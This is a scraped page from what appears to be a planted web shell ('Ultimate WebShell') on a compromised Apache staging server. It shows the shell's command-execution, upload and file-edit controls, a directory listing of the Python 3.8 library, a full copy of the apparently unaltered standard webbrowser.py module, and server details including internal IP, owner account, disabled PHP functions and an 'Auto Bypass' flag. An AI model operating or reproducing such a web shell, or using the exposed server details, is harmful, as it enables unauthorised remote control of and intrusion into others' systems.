WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core20
2866
usr
lib
python3.8
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-04-10 12:14:14
-
__pycache__
Folder
-
0755
2026-04-10 12:14:14
asyncio
Folder
-
0755
2026-04-10 12:14:14
collections
Folder
-
0755
2026-04-10 12:14:14
concurrent
Folder
-
0755
2026-04-10 12:14:14
ctypes
Folder
-
0755
2026-04-10 12:14:14
curses
Folder
-
0755
2026-04-10 12:14:14
dbm
Folder
-
0755
2026-04-10 12:14:14
distutils
Folder
-
0755
2026-04-10 12:14:14
email
Folder
-
0755
2026-04-10 12:14:14
encodings
Folder
-
0755
2026-04-10 12:14:14
html
Folder
-
0755
2026-04-10 12:14:14
http
Folder
-
0755
2026-04-10 12:14:14
importlib
Folder
-
0755
2026-04-10 12:14:14
json
Folder
-
0755
2026-04-10 12:14:14
lib-dynload
Folder
-
0755
2026-04-10 12:14:14
lib2to3
Folder
-
0755
2026-04-10 12:14:14
logging
Folder
-
0755
2026-04-10 12:14:14
multiprocessing
Folder
-
0755
2026-04-10 12:14:14
pydoc_data
Folder
-
0755
2026-04-10 12:14:14
sqlite3
Folder
-
0755
2026-04-10 12:14:14
test
Folder
-
0755
2026-04-10 12:14:14
unittest
Folder
-
0755
2026-04-10 12:14:14
urllib
Folder
-
0755
2026-04-10 12:14:14
venv
Folder
-
0755
2026-04-10 12:14:14
wsgiref
Folder
-
0755
2026-04-10 12:14:14
xml
Folder
-
0755
2026-04-10 12:14:14
xmlrpc
Folder
-
0755
2026-04-10 12:14:14
LICENSE.txt
File
13.6 KB
0644
2026-03-03 11:49:16
__future__.py
File
5.03 KB
0644
2026-03-03 11:49:16
__phello__.foo.py
File
64 B
0644
2026-03-03 11:49:16
_bootlocale.py
File
1.76 KB
0644
2026-03-03 11:49:16
_collections_abc.py
File
25.49 KB
0644
2026-03-03 11:49:16
_compat_pickle.py
File
8.54 KB
0644
2026-03-03 11:49:16
_compression.py
File
5.21 KB
0644
2026-03-03 11:49:16
_dummy_thread.py
File
5.89 KB
0644
2026-03-03 11:49:16
_markupbase.py
File
14.26 KB
0644
2026-03-03 11:49:16
_osx_support.py
File
21.26 KB
0644
2026-03-03 11:49:16
_py_abc.py
File
6.04 KB
0644
2026-03-03 11:49:16
_pydecimal.py
File
223.31 KB
0644
2026-03-03 11:49:16
_pyio.py
File
90.99 KB
0644
2026-03-03 11:49:16
_sitebuiltins.py
File
3.04 KB
0644
2026-03-03 11:49:16
_strptime.py
File
24.68 KB
0644
2026-03-03 11:49:16
_sysconfigdata__linux_x86_64-linux-gnu.py
File
25.23 KB
0644
2026-03-03 11:49:16
_sysconfigdata__x86_64-linux-gnu.py
File
25.23 KB
0644
2026-03-03 11:49:16
_threading_local.py
File
7.05 KB
0644
2026-03-03 11:49:16
_weakrefset.py
File
5.6 KB
0644
2026-03-03 11:49:16
abc.py
File
4.38 KB
0644
2026-03-03 11:49:16
aifc.py
File
32.04 KB
0644
2026-03-03 11:49:16
antigravity.py
File
477 B
0644
2026-03-03 11:49:16
argparse.py
File
94.05 KB
0644
2026-03-03 11:49:16
ast.py
File
18.78 KB
0644
2026-03-03 11:49:16
asynchat.py
File
11.06 KB
0644
2026-03-03 11:49:16
asyncore.py
File
19.62 KB
0644
2026-03-03 11:49:16
base64.py
File
19.9 KB
0755
2026-03-03 11:49:16
bdb.py
File
31.3 KB
0644
2026-03-03 11:49:16
binhex.py
File
13.63 KB
0644
2026-03-03 11:49:16
bisect.py
File
2.16 KB
0644
2026-03-03 11:49:16
bz2.py
File
12.26 KB
0644
2026-03-03 11:49:16
cProfile.py
File
6.83 KB
0755
2026-03-03 11:49:16
calendar.py
File
24.25 KB
0644
2026-03-03 11:49:16
cgi.py
File
33.14 KB
0755
2026-03-03 11:49:16
cgitb.py
File
11.81 KB
0644
2026-03-03 11:49:16
chunk.py
File
5.31 KB
0644
2026-03-03 11:49:16
cmd.py
File
14.51 KB
0644
2026-03-03 11:49:16
code.py
File
10.37 KB
0644
2026-03-03 11:49:16
codecs.py
File
35.81 KB
0644
2026-03-03 11:49:16
codeop.py
File
6.18 KB
0644
2026-03-03 11:49:16
colorsys.py
File
3.97 KB
0644
2026-03-03 11:49:16
compileall.py
File
13.36 KB
0644
2026-03-03 11:49:16
configparser.py
File
53.1 KB
0644
2026-03-03 11:49:16
contextlib.py
File
24.41 KB
0644
2026-03-03 11:49:16
contextvars.py
File
129 B
0644
2026-03-03 11:49:16
copy.py
File
8.46 KB
0644
2026-03-03 11:49:16
copyreg.py
File
6.97 KB
0644
2026-03-03 11:49:16
crypt.py
File
3.53 KB
0644
2026-03-03 11:49:16
csv.py
File
15.77 KB
0644
2026-03-03 11:49:16
dataclasses.py
File
48.8 KB
0644
2026-03-03 11:49:16
datetime.py
File
86.22 KB
0644
2026-03-03 11:49:16
decimal.py
File
320 B
0644
2026-03-03 11:49:16
difflib.py
File
82.09 KB
0644
2026-03-03 11:49:16
dis.py
File
20.09 KB
0644
2026-03-03 11:49:16
doctest.py
File
102.09 KB
0644
2026-03-03 11:49:16
dummy_threading.py
File
2.75 KB
0644
2026-03-03 11:49:16
enum.py
File
37.24 KB
0644
2026-03-03 11:49:16
filecmp.py
File
9.6 KB
0644
2026-03-03 11:49:16
fileinput.py
File
14.36 KB
0644
2026-03-03 11:49:16
fnmatch.py
File
3.98 KB
0644
2026-03-03 11:49:16
formatter.py
File
14.79 KB
0644
2026-03-03 11:49:16
fractions.py
File
23.76 KB
0644
2026-03-03 11:49:16
ftplib.py
File
34.31 KB
0644
2026-03-03 11:49:16
functools.py
File
36.53 KB
0644
2026-03-03 11:49:16
genericpath.py
File
4.86 KB
0644
2026-03-03 11:49:16
getopt.py
File
7.31 KB
0644
2026-03-03 11:49:16
getpass.py
File
5.85 KB
0644
2026-03-03 11:49:16
gettext.py
File
26.92 KB
0644
2026-03-03 11:49:16
glob.py
File
5.56 KB
0644
2026-03-03 11:49:16
gzip.py
File
20.91 KB
0644
2026-03-03 11:49:16
hashlib.py
File
9.5 KB
0644
2026-03-03 11:49:16
heapq.py
File
22.34 KB
0644
2026-03-03 11:49:16
hmac.py
File
6.47 KB
0644
2026-03-03 11:49:16
imaplib.py
File
52.35 KB
0644
2026-03-03 11:49:16
imghdr.py
File
3.72 KB
0644
2026-03-03 11:49:16
imp.py
File
10.29 KB
0644
2026-03-03 11:49:16
inspect.py
File
115.77 KB
0644
2026-03-03 11:49:16
io.py
File
3.46 KB
0644
2026-03-03 11:49:16
ipaddress.py
File
74.55 KB
0644
2026-03-03 11:49:16
keyword.py
File
945 B
0644
2026-03-03 11:49:16
linecache.py
File
5.21 KB
0644
2026-03-03 11:49:16
locale.py
File
76.36 KB
0644
2026-03-03 11:49:16
lzma.py
File
12.68 KB
0644
2026-03-03 11:49:16
mailbox.py
File
76.82 KB
0644
2026-03-03 11:49:16
mailcap.py
File
8.85 KB
0644
2026-03-03 11:49:16
mimetypes.py
File
21.16 KB
0644
2026-03-03 11:49:16
modulefinder.py
File
23.86 KB
0644
2026-03-03 11:49:16
netrc.py
File
5.44 KB
0644
2026-03-03 11:49:16
nntplib.py
File
42.25 KB
0644
2026-03-03 11:49:16
ntpath.py
File
25.21 KB
0644
2026-03-03 11:49:16
nturl2path.py
File
2.82 KB
0644
2026-03-03 11:49:16
numbers.py
File
10 KB
0644
2026-03-03 11:49:16
opcode.py
File
5.67 KB
0644
2026-03-03 11:49:16
operator.py
File
10.46 KB
0644
2026-03-03 11:49:16
optparse.py
File
58.95 KB
0644
2026-03-03 11:49:16
os.py
File
38.08 KB
0644
2026-03-03 11:49:16
pathlib.py
File
51.38 KB
0644
2026-03-03 11:49:16
pdb.py
File
61.27 KB
0755
2026-03-03 11:49:16
pickle.py
File
62.96 KB
0644
2026-03-03 11:49:16
pickletools.py
File
91.29 KB
0644
2026-03-03 11:49:16
pipes.py
File
8.71 KB
0644
2026-03-03 11:49:16
pkgutil.py
File
20.96 KB
0644
2026-03-03 11:49:16
platform.py
File
39.48 KB
0755
2026-03-03 11:49:16
plistlib.py
File
31.7 KB
0644
2026-03-03 11:49:16
poplib.py
File
14.72 KB
0644
2026-03-03 11:49:16
posixpath.py
File
15.14 KB
0644
2026-03-03 11:49:16
pprint.py
File
20.98 KB
0644
2026-03-03 11:49:16
profile.py
File
22.98 KB
0755
2026-03-03 11:49:16
pstats.py
File
26.7 KB
0644
2026-03-03 11:49:16
pty.py
File
4.69 KB
0644
2026-03-03 11:49:16
py_compile.py
File
7.96 KB
0644
2026-03-03 11:49:16
pyclbr.py
File
14.9 KB
0644
2026-03-03 11:49:16
pydoc.py
File
104.36 KB
0755
2026-03-03 11:49:16
queue.py
File
11.09 KB
0644
2026-03-03 11:49:16
quopri.py
File
7.08 KB
0755
2026-03-03 11:49:16
random.py
File
28.13 KB
0644
2026-03-03 11:49:16
re.py
File
15.49 KB
0644
2026-03-03 11:49:16
reprlib.py
File
5.14 KB
0644
2026-03-03 11:49:16
rlcompleter.py
File
6.93 KB
0644
2026-03-03 11:49:16
runpy.py
File
11.77 KB
0644
2026-03-03 11:49:16
sched.py
File
6.29 KB
0644
2026-03-03 11:49:16
secrets.py
File
1.99 KB
0644
2026-03-03 11:49:16
selectors.py
File
18.13 KB
0644
2026-03-03 11:49:16
shelve.py
File
8.33 KB
0644
2026-03-03 11:49:16
shlex.py
File
13.01 KB
0644
2026-03-03 11:49:16
shutil.py
File
50.27 KB
0644
2026-03-03 11:49:16
signal.py
File
2.22 KB
0644
2026-03-03 11:49:16
site.py
File
21.81 KB
0644
2026-03-03 11:49:16
sitecustomize.py
File
155 B
0644
2020-03-13 10:14:16
smtpd.py
File
33.9 KB
0755
2026-03-03 11:49:16
smtplib.py
File
43.75 KB
0755
2026-03-03 11:49:16
sndhdr.py
File
6.93 KB
0644
2026-03-03 11:49:16
socket.py
File
34.42 KB
0644
2026-03-03 11:49:16
socketserver.py
File
26.66 KB
0644
2026-03-03 11:49:16
sre_compile.py
File
26.07 KB
0644
2026-03-03 11:49:16
sre_constants.py
File
6.99 KB
0644
2026-03-03 11:49:16
sre_parse.py
File
39.29 KB
0644
2026-03-03 11:49:16
ssl.py
File
51.14 KB
0644
2026-03-03 11:49:16
stat.py
File
5.36 KB
0644
2026-03-03 11:49:16
statistics.py
File
38.76 KB
0644
2026-03-03 11:49:16
string.py
File
10.29 KB
0644
2026-03-03 11:49:16
stringprep.py
File
12.61 KB
0644
2026-03-03 11:49:16
struct.py
File
257 B
0644
2026-03-03 11:49:16
subprocess.py
File
75.52 KB
0644
2026-03-03 11:49:16
sunau.py
File
17.94 KB
0644
2026-03-03 11:49:16
symbol.py
File
2.06 KB
0644
2026-03-03 11:49:16
symtable.py
File
7.83 KB
0644
2026-03-03 11:49:16
sysconfig.py
File
24.45 KB
0644
2026-03-03 11:49:16
tabnanny.py
File
11.14 KB
0755
2026-03-03 11:49:16
tarfile.py
File
93.34 KB
0755
2026-03-03 11:49:16
telnetlib.py
File
22.71 KB
0644
2026-03-03 11:49:16
tempfile.py
File
32.15 KB
0644
2026-03-03 11:49:16
textwrap.py
File
18.95 KB
0644
2026-03-03 11:49:16
this.py
File
1003 B
0644
2026-03-03 11:49:16
threading.py
File
49.63 KB
0644
2026-03-03 11:49:16
timeit.py
File
13.16 KB
0755
2026-03-03 11:49:16
token.py
File
2.31 KB
0644
2026-03-03 11:49:16
tokenize.py
File
25.24 KB
0644
2026-03-03 11:49:16
trace.py
File
29.16 KB
0755
2026-03-03 11:49:16
traceback.py
File
23.06 KB
0644
2026-03-03 11:49:16
tracemalloc.py
File
16.68 KB
0644
2026-03-03 11:49:16
tty.py
File
879 B
0644
2026-03-03 11:49:16
turtle.py
File
140.35 KB
0644
2026-03-03 11:49:16
types.py
File
9.49 KB
0644
2026-03-03 11:49:16
typing.py
File
67.35 KB
0644
2026-03-03 11:49:16
uu.py
File
6.79 KB
0755
2026-03-03 11:49:16
uuid.py
File
29.75 KB
0644
2026-03-03 11:49:16
warnings.py
File
19.23 KB
0644
2026-03-03 11:49:16
wave.py
File
17.8 KB
0644
2026-03-03 11:49:16
weakref.py
File
20.89 KB
0644
2026-03-03 11:49:16
webbrowser.py
File
23.52 KB
0755
2026-03-03 11:49:16
xdrlib.py
File
5.77 KB
0644
2026-03-03 11:49:16
zipapp.py
File
7.36 KB
0644
2026-03-03 11:49:16
zipfile.py
File
87.05 KB
0644
2026-03-03 11:49:16
zipimport.py
File
30.04 KB
0644
2026-03-03 11:49:16
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: webbrowser.py
#! /usr/bin/python3.8 """Interfaces for launching and remotely controlling Web browsers.""" # Maintained by Georg Brandl. import os import shlex import shutil import sys import subprocess import threading __all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"] class Error(Exception): pass _lock = threading.RLock() _browsers = {} # Dictionary of available browser controllers _tryorder = None # Preference order of available browsers _os_preferred_browser = None # The preferred browser def register(name, klass, instance=None, *, preferred=False): """Register a browser connector.""" with _lock: if _tryorder is None: register_standard_browsers() _browsers[name.lower()] = [klass, instance] # Preferred browsers go to the front of the list. # Need to match to the default browser returned by xdg-settings, which # may be of the form e.g. "firefox.desktop". if preferred or (_os_preferred_browser and name in _os_preferred_browser): _tryorder.insert(0, name) else: _tryorder.append(name) def get(using=None): """Return a browser launcher instance appropriate for the environment.""" if _tryorder is None: with _lock: if _tryorder is None: register_standard_browsers() if using is not None: alternatives = [using] else: alternatives = _tryorder for browser in alternatives: if '%s' in browser: # User gave us a command line, split it into name and args browser = shlex.split(browser) if browser[-1] == '&': return BackgroundBrowser(browser[:-1]) else: return GenericBrowser(browser) else: # User gave us a browser name or path. try: command = _browsers[browser.lower()] except KeyError: command = _synthesize(browser) if command[1] is not None: return command[1] elif command[0] is not None: return command[0]() raise Error("could not locate runnable browser") # Please note: the following definition hides a builtin function. # It is recommended one does "import webbrowser" and uses webbrowser.open(url) # instead of "from webbrowser import *". def open(url, new=0, autoraise=True): """Display url using the default browser. If possible, open url in a location determined by new. - 0: the same browser window (the default). - 1: a new browser window. - 2: a new browser page ("tab"). If possible, autoraise raises the window (the default) or not. """ if _tryorder is None: with _lock: if _tryorder is None: register_standard_browsers() for name in _tryorder: browser = get(name) if browser.open(url, new, autoraise): return True return False def open_new(url): """Open url in a new window of the default browser. If not possible, then open url in the only browser window. """ return open(url, 1) def open_new_tab(url): """Open url in a new page ("tab") of the default browser. If not possible, then the behavior becomes equivalent to open_new(). """ return open(url, 2) def _synthesize(browser, *, preferred=False): """Attempt to synthesize a controller based on existing controllers. This is useful to create a controller when a user specifies a path to an entry in the BROWSER environment variable -- we can copy a general controller to operate using a specific installation of the desired browser in this way. If we can't create a controller in this way, or if there is no executable for the requested browser, return [None, None]. """ cmd = browser.split()[0] if not shutil.which(cmd): return [None, None] name = os.path.basename(cmd) try: command = _browsers[name.lower()] except KeyError: return [None, None] # now attempt to clone to fit the new name: controller = command[1] if controller and name.lower() == controller.basename: import copy controller = copy.copy(controller) controller.name = browser controller.basename = os.path.basename(browser) register(browser, None, instance=controller, preferred=preferred) return [None, controller] return [None, None] # General parent classes class BaseBrowser(object): """Parent class for all browsers. Do not use directly.""" args = ['%s'] def __init__(self, name=""): self.name = name self.basename = name def open(self, url, new=0, autoraise=True): raise NotImplementedError def open_new(self, url): return self.open(url, 1) def open_new_tab(self, url): return self.open(url, 2) class GenericBrowser(BaseBrowser): """Class for all browsers started with a command and without remote functionality.""" def __init__(self, name): if isinstance(name, str): self.name = name self.args = ["%s"] else: # name should be a list with arguments self.name = name[0] self.args = name[1:] self.basename = os.path.basename(self.name) def open(self, url, new=0, autoraise=True): sys.audit("webbrowser.open", url) cmdline = [self.name] + [arg.replace("%s", url) for arg in self.args] try: if sys.platform[:3] == 'win': p = subprocess.Popen(cmdline) else: p = subprocess.Popen(cmdline, close_fds=True) return not p.wait() except OSError: return False class BackgroundBrowser(GenericBrowser): """Class for all browsers which are to be started in the background.""" def open(self, url, new=0, autoraise=True): cmdline = [self.name] + [arg.replace("%s", url) for arg in self.args] sys.audit("webbrowser.open", url) try: if sys.platform[:3] == 'win': p = subprocess.Popen(cmdline) else: p = subprocess.Popen(cmdline, close_fds=True, start_new_session=True) return (p.poll() is None) except OSError: return False class UnixBrowser(BaseBrowser): """Parent class for all Unix browsers with remote functionality.""" raise_opts = None background = False redirect_stdout = True # In remote_args, %s will be replaced with the requested URL. %action will # be replaced depending on the value of 'new' passed to open. # remote_action is used for new=0 (open). If newwin is not None, it is # used for new=1 (open_new). If newtab is not None, it is used for # new=3 (open_new_tab). After both substitutions are made, any empty # strings in the transformed remote_args list will be removed. remote_args = ['%action', '%s'] remote_action = None remote_action_newwin = None remote_action_newtab = None def _invoke(self, args, remote, autoraise, url=None): raise_opt = [] if remote and self.raise_opts: # use autoraise argument only for remote invocation autoraise = int(autoraise) opt = self.raise_opts[autoraise] if opt: raise_opt = [opt] cmdline = [self.name] + raise_opt + args if remote or self.background: inout = subprocess.DEVNULL else: # for TTY browsers, we need stdin/out inout = None p = subprocess.Popen(cmdline, close_fds=True, stdin=inout, stdout=(self.redirect_stdout and inout or None), stderr=inout, start_new_session=True) if remote: # wait at most five seconds. If the subprocess is not finished, the # remote invocation has (hopefully) started a new instance. try: rc = p.wait(5) # if remote call failed, open() will try direct invocation return not rc except subprocess.TimeoutExpired: return True elif self.background: if p.poll() is None: return True else: return False else: return not p.wait() def open(self, url, new=0, autoraise=True): sys.audit("webbrowser.open", url) if new == 0: action = self.remote_action elif new == 1: action = self.remote_action_newwin elif new == 2: if self.remote_action_newtab is None: action = self.remote_action_newwin else: action = self.remote_action_newtab else: raise Error("Bad 'new' parameter to open(); " + "expected 0, 1, or 2, got %s" % new) args = [arg.replace("%s", url).replace("%action", action) for arg in self.remote_args] args = [arg for arg in args if arg] success = self._invoke(args, True, autoraise, url) if not success: # remote invocation failed, try straight way args = [arg.replace("%s", url) for arg in self.args] return self._invoke(args, False, False) else: return True class Mozilla(UnixBrowser): """Launcher class for Mozilla browsers.""" remote_args = ['%action', '%s'] remote_action = "" remote_action_newwin = "-new-window" remote_action_newtab = "-new-tab" background = True class Netscape(UnixBrowser): """Launcher class for Netscape browser.""" raise_opts = ["-noraise", "-raise"] remote_args = ['-remote', 'openURL(%s%action)'] remote_action = "" remote_action_newwin = ",new-window" remote_action_newtab = ",new-tab" background = True class Galeon(UnixBrowser): """Launcher class for Galeon/Epiphany browsers.""" raise_opts = ["-noraise", ""] remote_args = ['%action', '%s'] remote_action = "-n" remote_action_newwin = "-w" background = True class Chrome(UnixBrowser): "Launcher class for Google Chrome browser." remote_args = ['%action', '%s'] remote_action = "" remote_action_newwin = "--new-window" remote_action_newtab = "" background = True Chromium = Chrome class Opera(UnixBrowser): "Launcher class for Opera browser." remote_args = ['%action', '%s'] remote_action = "" remote_action_newwin = "--new-window" remote_action_newtab = "" background = True class Elinks(UnixBrowser): "Launcher class for Elinks browsers." remote_args = ['-remote', 'openURL(%s%action)'] remote_action = "" remote_action_newwin = ",new-window" remote_action_newtab = ",new-tab" background = False # elinks doesn't like its stdout to be redirected - # it uses redirected stdout as a signal to do -dump redirect_stdout = False class Konqueror(BaseBrowser): """Controller for the KDE File Manager (kfm, or Konqueror). See the output of ``kfmclient --commands`` for more information on the Konqueror remote-control interface. """ def open(self, url, new=0, autoraise=True): sys.audit("webbrowser.open", url) # XXX Currently I know no way to prevent KFM from opening a new win. if new == 2: action = "newTab" else: action = "openURL" devnull = subprocess.DEVNULL try: p = subprocess.Popen(["kfmclient", action, url], close_fds=True, stdin=devnull, stdout=devnull, stderr=devnull) except OSError: # fall through to next variant pass else: p.wait() # kfmclient's return code unfortunately has no meaning as it seems return True try: p = subprocess.Popen(["konqueror", "--silent", url], close_fds=True, stdin=devnull, stdout=devnull, stderr=devnull, start_new_session=True) except OSError: # fall through to next variant pass else: if p.poll() is None: # Should be running now. return True try: p = subprocess.Popen(["kfm", "-d", url], close_fds=True, stdin=devnull, stdout=devnull, stderr=devnull, start_new_session=True) except OSError: return False else: return (p.poll() is None) class Grail(BaseBrowser): # There should be a way to maintain a connection to Grail, but the # Grail remote control protocol doesn't really allow that at this # point. It probably never will! def _find_grail_rc(self): import glob import pwd import socket import tempfile tempdir = os.path.join(tempfile.gettempdir(), ".grail-unix") user = pwd.getpwuid(os.getuid())[0] filename = os.path.join(glob.escape(tempdir), glob.escape(user) + "-*") maybes = glob.glob(filename) if not maybes: return None s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) for fn in maybes: # need to PING each one until we find one that's live try: s.connect(fn) except OSError: # no good; attempt to clean it out, but don't fail: try: os.unlink(fn) except OSError: pass else: return s def _remote(self, action): s = self._find_grail_rc() if not s: return 0 s.send(action) s.close() return 1 def open(self, url, new=0, autoraise=True): sys.audit("webbrowser.open", url) if new: ok = self._remote("LOADNEW " + url) else: ok = self._remote("LOAD " + url) return ok # # Platform support for Unix # # These are the right tests because all these Unix browsers require either # a console terminal or an X display to run. def register_X_browsers(): # use xdg-open if around if shutil.which("xdg-open"): register("xdg-open", None, BackgroundBrowser("xdg-open")) # The default GNOME3 browser if "GNOME_DESKTOP_SESSION_ID" in os.environ and shutil.which("gvfs-open"): register("gvfs-open", None, BackgroundBrowser("gvfs-open")) # The default GNOME browser if "GNOME_DESKTOP_SESSION_ID" in os.environ and shutil.which("gnome-open"): register("gnome-open", None, BackgroundBrowser("gnome-open")) # The default KDE browser if "KDE_FULL_SESSION" in os.environ and shutil.which("kfmclient"): register("kfmclient", Konqueror, Konqueror("kfmclient")) if shutil.which("x-www-browser"): register("x-www-browser", None, BackgroundBrowser("x-www-browser")) # The Mozilla browsers for browser in ("firefox", "iceweasel", "iceape", "seamonkey"): if shutil.which(browser): register(browser, None, Mozilla(browser)) # The Netscape and old Mozilla browsers for browser in ("mozilla-firefox", "mozilla-firebird", "firebird", "mozilla", "netscape"): if shutil.which(browser): register(browser, None, Netscape(browser)) # Konqueror/kfm, the KDE browser. if shutil.which("kfm"): register("kfm", Konqueror, Konqueror("kfm")) elif shutil.which("konqueror"): register("konqueror", Konqueror, Konqueror("konqueror")) # Gnome's Galeon and Epiphany for browser in ("galeon", "epiphany"): if shutil.which(browser): register(browser, None, Galeon(browser)) # Skipstone, another Gtk/Mozilla based browser if shutil.which("skipstone"): register("skipstone", None, BackgroundBrowser("skipstone")) # Google Chrome/Chromium browsers for browser in ("google-chrome", "chrome", "chromium", "chromium-browser"): if shutil.which(browser): register(browser, None, Chrome(browser)) # Opera, quite popular if shutil.which("opera"): register("opera", None, Opera("opera")) # Next, Mosaic -- old but still in use. if shutil.which("mosaic"): register("mosaic", None, BackgroundBrowser("mosaic")) # Grail, the Python browser. Does anybody still use it? if shutil.which("grail"): register("grail", Grail, None) def register_standard_browsers(): global _tryorder _tryorder = [] if sys.platform == 'darwin': register("MacOSX", None, MacOSXOSAScript('default')) register("chrome", None, MacOSXOSAScript('chrome')) register("firefox", None, MacOSXOSAScript('firefox')) register("safari", None, MacOSXOSAScript('safari')) # OS X can use below Unix support (but we prefer using the OS X # specific stuff) if sys.platform[:3] == "win": # First try to use the default Windows browser register("windows-default", WindowsDefault) # Detect some common Windows browsers, fallback to IE iexplore = os.path.join(os.environ.get("PROGRAMFILES", "C:\\Program Files"), "Internet Explorer\\IEXPLORE.EXE") for browser in ("firefox", "firebird", "seamonkey", "mozilla", "netscape", "opera", iexplore): if shutil.which(browser): register(browser, None, BackgroundBrowser(browser)) else: # Prefer X browsers if present if os.environ.get("DISPLAY") or os.environ.get("WAYLAND_DISPLAY"): try: cmd = "xdg-settings get default-web-browser".split() raw_result = subprocess.check_output(cmd, stderr=subprocess.DEVNULL) result = raw_result.decode().strip() except (FileNotFoundError, subprocess.CalledProcessError, PermissionError, NotADirectoryError) : pass else: global _os_preferred_browser _os_preferred_browser = result register_X_browsers() # Also try console browsers if os.environ.get("TERM"): if shutil.which("www-browser"): register("www-browser", None, GenericBrowser("www-browser")) # The Links/elinks browsers <http://artax.karlin.mff.cuni.cz/~mikulas/links/> if shutil.which("links"): register("links", None, GenericBrowser("links")) if shutil.which("elinks"): register("elinks", None, Elinks("elinks")) # The Lynx browser <http://lynx.isc.org/>, <http://lynx.browser.org/> if shutil.which("lynx"): register("lynx", None, GenericBrowser("lynx")) # The w3m browser <http://w3m.sourceforge.net/> if shutil.which("w3m"): register("w3m", None, GenericBrowser("w3m")) # OK, now that we know what the default preference orders for each # platform are, allow user to override them with the BROWSER variable. if "BROWSER" in os.environ: userchoices = os.environ["BROWSER"].split(os.pathsep) userchoices.reverse() # Treat choices in same way as if passed into get() but do register # and prepend to _tryorder for cmdline in userchoices: if cmdline != '': cmd = _synthesize(cmdline, preferred=True) if cmd[1] is None: register(cmdline, None, GenericBrowser(cmdline), preferred=True) # what to do if _tryorder is now empty? # # Platform support for Windows # if sys.platform[:3] == "win": class WindowsDefault(BaseBrowser): def open(self, url, new=0, autoraise=True): sys.audit("webbrowser.open", url) try: os.startfile(url) except OSError: # [Error 22] No application is associated with the specified # file for this operation: '<URL>' return False else: return True # # Platform support for MacOS # if sys.platform == 'darwin': # Adapted from patch submitted to SourceForge by Steven J. Burr class MacOSX(BaseBrowser): """Launcher class for Aqua browsers on Mac OS X Optionally specify a browser name on instantiation. Note that this will not work for Aqua browsers if the user has moved the application package after installation. If no browser is specified, the default browser, as specified in the Internet System Preferences panel, will be used. """ def __init__(self, name): self.name = name def open(self, url, new=0, autoraise=True): sys.audit("webbrowser.open", url) assert "'" not in url # hack for local urls if not ':' in url: url = 'file:'+url # new must be 0 or 1 new = int(bool(new)) if self.name == "default": # User called open, open_new or get without a browser parameter script = 'open location "%s"' % url.replace('"', '%22') # opens in default browser else: # User called get and chose a browser if self.name == "OmniWeb": toWindow = "" else: # Include toWindow parameter of OpenURL command for browsers # that support it. 0 == new window; -1 == existing toWindow = "toWindow %d" % (new - 1) cmd = 'OpenURL "%s"' % url.replace('"', '%22') script = '''tell application "%s" activate %s %s end tell''' % (self.name, cmd, toWindow) # Open pipe to AppleScript through osascript command osapipe = os.popen("osascript", "w") if osapipe is None: return False # Write script to osascript's stdin osapipe.write(script) rc = osapipe.close() return not rc class MacOSXOSAScript(BaseBrowser): def __init__(self, name): self._name = name def open(self, url, new=0, autoraise=True): if self._name == 'default': script = 'open location "%s"' % url.replace('"', '%22') # opens in default browser else: script = ''' tell application "%s" activate open location "%s" end '''%(self._name, url.replace('"', '%22')) osapipe = os.popen("osascript", "w") if osapipe is None: return False osapipe.write(script) rc = osapipe.close() return not rc def main(): import getopt usage = """Usage: %s [-n | -t] url -n: open new window -t: open new tab""" % sys.argv[0] try: opts, args = getopt.getopt(sys.argv[1:], 'ntd') except getopt.error as msg: print(msg, file=sys.stderr) print(usage, file=sys.stderr) sys.exit(1) new_win = 0 for o, a in opts: if o == '-n': new_win = 1 elif o == '-t': new_win = 2 if len(args) != 1: print(usage, file=sys.stderr) sys.exit(1) url = args[0] open(url, new_win) print("\a") if __name__ == "__main__": main()
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED